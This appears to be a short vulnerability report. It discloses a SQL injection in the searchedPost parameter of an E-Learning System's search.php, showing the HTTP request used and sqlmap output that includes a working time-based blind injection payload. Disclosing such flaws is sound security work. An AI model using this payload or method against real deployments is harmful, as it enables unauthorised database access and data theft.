

SQL injection vulnerability exists in searchPost parameter of E-Learning System course information query

The vulnerability is located in the search.php file

Process to demonstrate



Data Packet Display

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1 GET /search.php?classCode=class101_a&searchedPost=1 HTTP/1.1
2 Host: 192.168.109.169
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
  Firefox/103.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Referer: http://192.168.109.169/classRoom.php?classCode=class101_a
8 DNT: 1
9 Connection: close
10 Cookie:
11 Upgrade-Insecure-Requests: 1
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Sqlmap attack

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GET parameter 'searchedPost' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 1138 HTTP(s) requests:
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  Type: time-based blind
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  Payload: classCode=class101_a&searchedPost=1' AND (SELECT 6649 FROM (SELECT(SLEEP(5)))cmBr)--- Fa0z
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